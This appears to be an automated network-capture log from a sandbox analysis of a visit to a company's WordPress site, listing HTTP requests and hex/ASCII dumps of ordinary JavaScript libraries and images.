2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 7b 7d 2c 62 3d 30 2c 63 3d 70 2e 6c 65 6e 67 74 68 3b 63 3e 62 3b 62 2b 2b 29 7b 76 61 72 20 65 3d 70 5b 62 5d 2c 66 3d 64 28 65 29 3b 66 26 26 66 21 3d 3d 65 26 26 28 61 5b 65 5d 3d 66 29 7d 72 65 74 75 72 6e 20 61 7d 28 29 3b 65 2e 65 78 74 65 6e 64 28 67 2e 70 72 6f 74 6f 74 79 70 65 2c 62 2e 70 72 6f 74 6f 74 79 70 65 29 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 63 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 74 72 61 6e 73 6e 3d 7b 69 6e 67 50 72 6f 70 65 72 74 69 65 73 3a 7b 7d 2c 63 6c 65 61 6e 3a 7b 7d 2c 6f 6e 45 6e 64 3a 7b 7d 7d 2c 74 68 69 73 2e 63 73 73 28 7b 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 7d 29 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c Data Ascii: n(){for(var a={},b=0,c=p.length;c>b;b++){var e=p[b],f=d(e);f&&f!==e&&(a[e]=f)}return a}();e.extend(g.prototype,b.prototype),g.prototype._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},g.prototype.handl
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 68 69 73 2e 73 69 7a 65 3d 64 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 4d 65 61 73 75 72 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 66 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 5b 61 5d 3b 66 3f 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 66 3f 63 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 66 29 3a 65 2e 69 73 45 6c 65 6d 65 6e 74 28 66 29 26 26 28 63 3d 66 29 2c 74 68 69 73 5b 61 5d 3d 63 3f 64 28 63 29 5b 62 5d 3a 66 29 3a 74 68 69 73 5b 61 5d 3d 30 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 61 79 6f 75 74 49 74 65 6d 73 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 73 46 Data Ascii: his.size=d(this.element)},g.prototype._getMeasurement=function(a,b){var c,f=this.options[a];f?("string"==typeof f?c=this.element.querySelector(f):e.isElement(f)&&(c=f),this[a]=c?d(c)[b]:f):this[a]=0},g.prototype.layoutItems=function(a,b){a=this._getItemsF
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 74 6f 74 79 70 65 2e 67 65 74 43 6f 6c 75 6d 6e 57 69 64 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 28 22 63 6f 6c 75 6d 6e 22 2c 22 57 69 64 74 68 22 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 52 6f 77 48 65 69 67 68 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 74 68 69 73 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 28 22 72 6f 77 22 2c 22 48 65 69 67 68 74 22 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2b 62 2c 64 3d 22 6f 75 74 65 72 22 2b 62 3b 69 66 28 74 68 69 73 2e 5f 67 65 74 4d 65 61 73 75 72 65 6d 65 6e 74 28 63 2c 64 29 2c 21 74 68 69 73 5b 63 5d 29 7b 76 61 72 20 65 3d 74 Data Ascii: totype.getColumnWidth=function(){this.getSegmentSize("column","Width")},c.prototype.getRowHeight=function(){this.getSegmentSize("row","Height")},c.prototype.getSegmentSize=function(a,b){var c=a+b,d="outer"+b;if(this._getMeasurement(c,d),!this[c]){var e=t
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 72 65 64 49 74 65 6d 73 3d 63 2e 6d 61 74 63 68 65 73 3b 76 61 72 20 64 3d 74 68 69 73 3b 74 68 69 73 2e 5f 62 69 6e 64 41 72 72 61 6e 67 65 43 6f 6d 70 6c 65 74 65 28 29 2c 74 68 69 73 2e 5f 69 73 49 6e 73 74 61 6e 74 3f 74 68 69 73 2e 5f 6e 6f 54 72 61 6e 73 69 74 69 6f 6e 28 62 29 3a 62 28 29 2c 74 68 69 73 2e 5f 73 6f 72 74 28 29 2c 74 68 69 73 2e 5f 6c 61 79 6f 75 74 28 29 7d 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 6e 69 74 3d 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 61 72 72 61 6e 67 65 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 49 73 49 6e 73 74 61 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 73 4c 61 79 6f 75 74 49 6e 73 74 61 6e 74 3f 74 68 69 73 2e 6f 70 Data Ascii: redItems=c.matches;var d=this;this._bindArrangeComplete(),this._isInstant?this._noTransition(b):b(),this._sort(),this._layout()},m.prototype._init=m.prototype.arrange,m.prototype._getIsInstant=function(){var a=void 0!==this.options.isLayoutInstant?this.op
2024-10-07 11:17:02 UTC	597	IN	Data Raw: 74 28 29 2e 6c 65 66 74 29 5d 28 22 6f 6e 58 22 29 7d 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 6f 6e 58 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 24 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 78 20 6f 6e 58 22 29 2e 76 61 6c 28 22 22 29 2e 63 68 61 6e 67 65 28 29 7d 29 2c 24 28 22 23 73 65 61 72 63 68 2d 66 69 6c 74 65 72 22 29 2e 66 61 73 74 4c 69 76 65 46 69 6c 74 65 72 28 22 2e 72 65 73 6f 75 72 63 65 73 22 29 2c 24 28 22 23 73 65 61 72 63 68 2d 66 69 6c 74 65 72 22 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 2c 24 28 22 61 5b 64 61 74 61 2d 72 65 6c 5e 3d 6c 69 67 68 74 63 61 73 65 5d 22 29 2e 6c 69 67 68 74 63 61 73 65 28 29 2c 6e 61 76 69 67 61 74 69 6f 6e 28 29 2c 73 75 62 4e 61 76 69 67 61 74 69 6f 6e 28 29 2c 61 63 Data Ascii: t().left)]("onX")}).on("click",".onX",function(){$(this).removeClass("x onX").val("").change()}),$("#search-filter").fastLiveFilter(".resources"),$("#search-filter").trigger("change"),$("a[data-rel^=lightcase]").lightcase(),navigation(),subNavigation(),ac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49790	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	387	OUT	GET /2016/wp-content/uploads/2015/08/twb-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:53:16 GMT Accept-Ranges: bytes Content-Length: 41140 Content-Type: image/jpeg
2024-10-07 11:17:02 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: dd e5 e3 64 2a cc cb 58 85 f8 fe 91 da 69 74 71 e6 75 29 82 8b b7 77 e5 51 46 e5 e1 99 33 4c 67 5d a4 28 15 a5 c2 c2 87 07 1c 20 1e 6b 5d cf 7d 22 ab bd 9c e1 22 8e f5 eb aa 85 2d 83 60 60 8c 3c 75 8d ce e3 c4 9a 2d a4 08 38 57 24 97 52 69 4e 6e 73 c6 4c 71 fc e4 6a dd 83 bb be aa da aa f6 24 93 b3 f7 0b c8 c9 54 36 92 45 53 fa 79 fc 2a fc 47 f5 23 de 0d f5 e3 48 b1 31 25 c9 6d ed 71 1d fc cc 79 d3 f8 11 20 85 63 41 a1 d6 c6 96 8d bc b5 08 37 49 28 4e 58 48 3c 2a 6a 57 8b 72 a1 da 4d ab 7f 75 0b 36 42 c6 2f 34 9b 2f c1 7f 37 ba a8 ed 02 2a c8 e0 49 1b a1 50 7d b4 ba 4e 9d 1c d7 12 00 57 95 f8 d0 d8 99 2b 2c bb 63 62 7c 45 a9 90 26 dc 4f 7d 6a b9 c9 9a 81 1f 53 e9 98 38 78 92 4f 39 0d 02 db 74 6c 03 5e e6 c0 0a cf 8e 97 8d b8 e4 74 3c a6 c4 97 f3 46 09 28 Data Ascii: dXitqu)wQF3Lg]( k]}""-``<u-8W$RiNnsLqj$T6ESyG#H1%mqy cA7I(NXH<jWrMu6B/4/7IP}NW+,cb\|E&O}jS8xO9tl^t<F(
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: e7 4c 10 b8 f0 90 f9 3f a4 f9 ac 3f 53 f7 d0 f2 4e d8 dd 2e 0c 9c 34 55 95 dd a3 9e 62 37 38 61 c3 6d f8 5e 81 c6 56 50 64 72 4c 8f a9 27 8e b5 95 ad ab 6d b6 a6 7d 03 0b 65 09 0d 30 df d6 2c ed a5 b5 99 7b 3f 8d 7b bb 7b 29 c4 72 fa 5f 27 cb f7 56 59 e5 92 27 0f 1b 6d 75 3e 52 39 53 7c 4c c5 96 07 65 16 65 17 92 21 f9 47 eb 4f e1 ed 1c a9 e9 65 a6 e2 5a af 50 dc a3 1e 74 66 29 06 e8 8f e5 e6 0f ea 1d f4 9a 5e 91 36 08 59 1c 6f 85 bf d3 94 0d 3c 0f 61 a6 d8 88 59 83 8f 93 8d f9 1a d1 e3 bc 72 47 e9 a9 da 0f e5 a6 5d 7c f2 f0 2d af c7 0b 26 34 e4 12 23 00 82 c4 9b fb 8d 6a 30 25 3f b5 c7 01 c1 3b 45 c5 2a eb 8c 03 79 23 59 12 fb 4e d5 0b 6e f3 6f ba 9d f4 4e 96 ab d2 f1 b2 64 6f 3b 8f 2a f6 00 48 d6 91 55 ab b4 b3 03 36 b8 26 f1 21 82 f5 6a 46 5b 8f 0a 98 Data Ascii: L??SN.4Ub78am^VPdrL'm}e0,{?{{)r_'VY'mu>R9S\|Lee!GOeZPtf)^6Yo<aYrG]\|-&4#j0%?;Ey#YNnoNdo;HU6&!jF[
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 3a ff 00 58 18 38 e6 d6 67 93 48 d0 7e 63 f8 0e 75 1b d9 2c bd 8a 56 ad b8 5b 82 7d 43 f5 12 e3 29 82 23 72 74 50 34 2d e3 d8 2b 0d 34 e7 2a 43 36 5c b7 3c 90 6a 00 ec 14 74 7d 13 ac f5 89 0e 4a 26 e5 93 5f 59 d8 2a 9d 6d 61 c4 e9 dc 2b 43 d3 be 84 8a 30 24 cf 9c b4 83 53 1c 62 ca 3d ac 09 3e ea e6 6a f7 73 18 3a 57 0e b5 13 93 28 91 2c 89 fd 38 cd b9 33 69 7f 60 ae 1c 09 e5 6d 91 ad d8 fe 54 17 35 f4 b8 3a 07 4a 82 df d0 0e 7f 54 84 b0 f6 83 a7 c2 98 c1 14 70 d8 45 1a a2 db e5 45 0a 3e 14 cb a3 cb f8 03 ee f0 8f 99 7f e9 9e b1 e8 7a 91 63 ba 58 5c bb 9d 9a 7f 88 83 5e 4e 9d 9b d3 d1 5b 2e 55 90 49 e5 58 c1 2d 6b 71 d4 8a fa a1 01 d4 a9 17 04 58 83 c2 94 66 7d 29 36 70 12 63 32 9f 4c b6 c5 70 48 b3 0e 06 dd 94 cf a6 3f 1c 81 77 ff 00 db 06 11 e3 04 76 83 Data Ascii: :X8gH~cu,V[}C)#rtP4-+4C6\<jt}J&_Yma+C0$Sb=>js:W(,83i`mT5:JTpEE>zcX\^N[.UIX-kqXf})6pc2LpH?wv
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: ca c1 51 78 9e 26 dd d4 2a 3b cc 82 45 0c 4d 89 55 92 ea 6f d8 41 d6 86 cc 94 b3 84 4d 15 34 20 73 3c ef 51 75 dd 94 5e 02 b3 7a 8c 92 79 61 fe 9c 5c 15 47 12 a3 b4 f7 9a bf 0f a7 65 88 3f ea 13 13 1a de d0 a9 b9 67 6f e5 ec 15 5f 4b c6 d0 64 4c bb bf e5 29 d4 7f 37 e1 4e 24 ca 95 95 50 93 b1 78 2f 2f 65 56 bd 4e d5 96 c4 b5 d5 5c 55 7b 99 4e bf 0e 5c 71 6f 91 da 46 63 e6 66 e2 49 ee ac ca 74 fc a9 48 2a a5 58 6a 18 f9 6d 5f 42 ce 55 97 19 d4 fc e4 68 79 f1 f8 d2 09 57 6b 59 f4 ec 35 1b f4 25 69 6d 94 a7 6b e3 a1 4c 7b d5 14 4a c1 9c 0b 31 02 ba f2 c5 18 f3 b8 5e 7a 9a f4 8a 76 95 07 69 3c 08 a5 f2 43 b4 92 56 fa db 70 e1 4c db 4b 06 49 3d 4b db a9 c2 87 c9 b9 88 e1 6d 29 cf 4b ea 09 9b 0b 45 28 f2 9e 44 f2 ac d1 44 f0 a7 1d 23 01 cc b1 c9 15 b6 1b b6 bc Data Ascii: Qx&;EMUoAM4 s<Qu^zya\Ge?go_KdL)7N$Px//eVN\U{N\qoFcfItHXjm_BUhyWkY5%imkL{J1^zvi<CVpLKI=Km)KE(DD#
2024-10-07 11:17:02 UTC	1182	IN	Data Raw: b9 e4 7c 68 be ab 34 38 f2 a3 46 41 07 43 b7 ba 80 93 d5 dd e6 e1 7e 5c 2a ec df 4b 6b 7a 9f 2d b5 ad 9d 91 b1 bb 0b e9 79 38 39 0e fe a1 2b 37 2b 73 a3 82 c7 89 d4 e0 53 2a 49 14 eb b2 42 bf 2a 9b e8 c4 f7 5f 5a c6 2e ef 54 7a 3b af 7f 2d b8 d3 4f fc e6 d8 f7 de db bf a7 7d b7 bf f8 68 4e 72 91 a3 18 6c dc 97 80 31 1b a4 9d b8 15 8c 69 a7 2b d7 77 4d a0 48 d2 0e f7 3b db ef aa c7 af 68 3d 4f d1 fd 6b 70 df 61 f2 ed d2 dc 68 4c af fa cf ff 00 67 e8 ed fc bb 7e 7f ff 00 72 a9 9d e7 e8 4f fe 64 62 b8 e6 63 ba 69 64 95 46 bc 36 20 f1 3a d2 ec ee ab d3 e3 26 38 9a 38 d1 74 f2 dd dc db 99 e3 59 ee a3 ff 00 5a f4 db f7 3e ae de 7b ef b7 f0 a5 11 6c f5 07 ee fd 4f 4b 9f a5 6d df ef 69 4a db 8c 24 bd f5 19 25 39 7e d1 a1 a1 9b ea 08 17 e4 56 92 dc 0b 1d a3 dc 2f Data Ascii: \|h48FAC~\Kkz-y89+7+sSIB*_Z.Tz;-O}hNrl1i+wMH;h=OkpahLg~rOdbcidF6 :&88tYZ>{lOKmiJ$%9~V/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49794	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	674	OUT	GET /2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	267	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:20 GMT Accept-Ranges: bytes Content-Length: 751 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:03 UTC	751	IN	Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 69 73 5f 77 65 62 6b 69 74 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 77 65 62 6b 69 74 27 20 29 20 3e 20 2d 31 2c 0a 09 20 20 20 20 69 73 5f 6f 70 65 72 61 20 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 6f 70 65 72 61 27 20 29 20 20 3e 20 2d 31 2c 0a 09 20 20 20 20 69 73 5f 69 65 20 20 20 20 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 6d 73 69 65 27 20 29 20 20 20 3e 20 2d 31 3b 0a 0a 09 69 66 20 28 20 28 20 Data Ascii: ( function() {var is_webkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1, is_opera = navigator.userAgent.toLowerCase().indexOf( 'opera' ) > -1, is_ie = navigator.userAgent.toLowerCase().indexOf( 'msie' ) > -1;if ( (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49795	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	500	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:01 GMT Accept-Ranges: bytes Content-Length: 4132 Content-Type: image/png
2024-10-07 11:17:03 UTC	4132	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 16 00 00 01 90 08 06 00 00 00 aa 2a 90 4a 00 00 0a 43 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 77 58 93 f7 16 3e df f7 65 0f 56 42 d8 f0 b1 97 6c 81 00 22 23 ac 08 c8 10 59 a2 10 92 00 61 84 10 12 40 c5 85 88 0a 56 14 15 11 9c 48 55 c4 82 d5 0a 48 9d 88 e2 a0 28 b8 67 41 8a 88 5a 8b 55 5c 38 ee 1f dc a7 b5 7d 7a ef ed ed fb d7 fb bc e7 9c e7 fc ce 79 cf 0f 80 11 12 26 91 e6 a2 6a 00 39 52 85 3c 3a d8 1f 8f 4f 48 c4 c9 bd 80 02 15 48 e0 04 20 10 e6 cb c2 67 05 c5 00 00 f0 03 79 78 7e 74 b0 3f fc 01 af 6f 00 02 00 70 d5 2e 24 12 c7 e1 ff 83 ba 50 26 57 00 20 91 00 e0 22 12 e7 0b 01 90 52 00 c8 2e 54 c8 14 00 c8 18 00 b0 53 b3 64 0a 00 94 00 00 6c 79 7c 42 22 00 aa 0d 00 ec f4 49 Data Ascii: PNGIHDR*JCiCCPICC profilexSwX>eVBl"#Ya@VHUH(gAZU\8}zy&j9R<:OHH gyx~t?op.$P&W "R.TSdly\|B"I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49800	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	480	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/flags.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:00 GMT Accept-Ranges: bytes Content-Length: 14686 Content-Type: image/png
2024-10-07 11:17:03 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 c1 00 00 00 0c 08 06 00 00 00 42 d6 bf f7 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 31 34 20 37 39 2e 31 35 36 37 39 37 2c 20 32 30 31 34 2f 30 38 2f 32 30 2d 30 39 3a 35 33 3a 30 32 20 20 Data Ascii: PNGIHDRBtEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02
2024-10-07 11:17:03 UTC	6727	IN	Data Raw: 23 28 98 92 7f 5c 4b 33 5d 07 63 cc ed e2 c3 97 bd 2d 56 7e d7 b2 8a c4 d8 84 a0 c4 f6 04 bc bb 6c 87 a8 8a 19 ba 6b f5 51 8e ed 4b b3 e8 4e 63 2f a1 99 cc f0 f9 3a f6 20 08 fe c9 62 df 6b 26 2b 71 a6 d6 f1 2a aa 79 9f 87 be c1 af 2b dc 08 75 49 18 61 24 2c aa 7b b9 39 a2 52 b8 e5 db 3d d8 b8 6a 17 06 8f 29 c5 c1 27 8d 41 65 f1 00 68 e1 1f e8 1e f3 d0 21 ba df 63 81 82 49 9f ee f1 8a 8a 31 1b 98 1d 9a 90 8a 4e f6 f7 f6 76 fb 64 67 e7 7c 5d f6 48 ef 33 3e 9a 72 4e 24 eb 58 cb 85 f9 f9 44 4e cf d6 17 4a 92 87 cf 20 a7 f3 12 f4 70 24 56 69 f3 94 8d 40 d6 2f 2e 87 67 f8 b1 f6 aa 99 a3 85 c6 a9 2f 56 8b 96 ec 95 79 15 30 5e 1e ac 20 b0 6d fa 8c a4 a5 45 06 5a 61 02 86 ea ad 5b 81 e6 fa 18 dd 6c 9e bc b9 30 03 f9 5a fa c2 ef 4f 38 df 7d b7 8f 64 fa 9c 49 f2 ab Data Ascii: #(\K3]c-V~lkQKNc/: bk&+q*y+uIa$,{9R=j)'Aeh!cI1Nvdg\|]H3>rN$XDNJ p$Vi@/.g/Vy0^ mEZa[l0ZO8}dI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49798	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	686	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:07 GMT Accept-Ranges: bytes Content-Length: 42720 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:03 UTC	7923	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 09 77 69 6e 64 6f 77 2e 6c 69 67 68 74 63 61 73 65 20 3d 20 7b 0a 09 09 63 61 63 68 65 20 3a 20 7b 7d 2c 0a 0a 09 09 73 75 70 70 6f 72 74 20 3a 20 7b Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) */;(function ($) {window.lightcase = {cache : 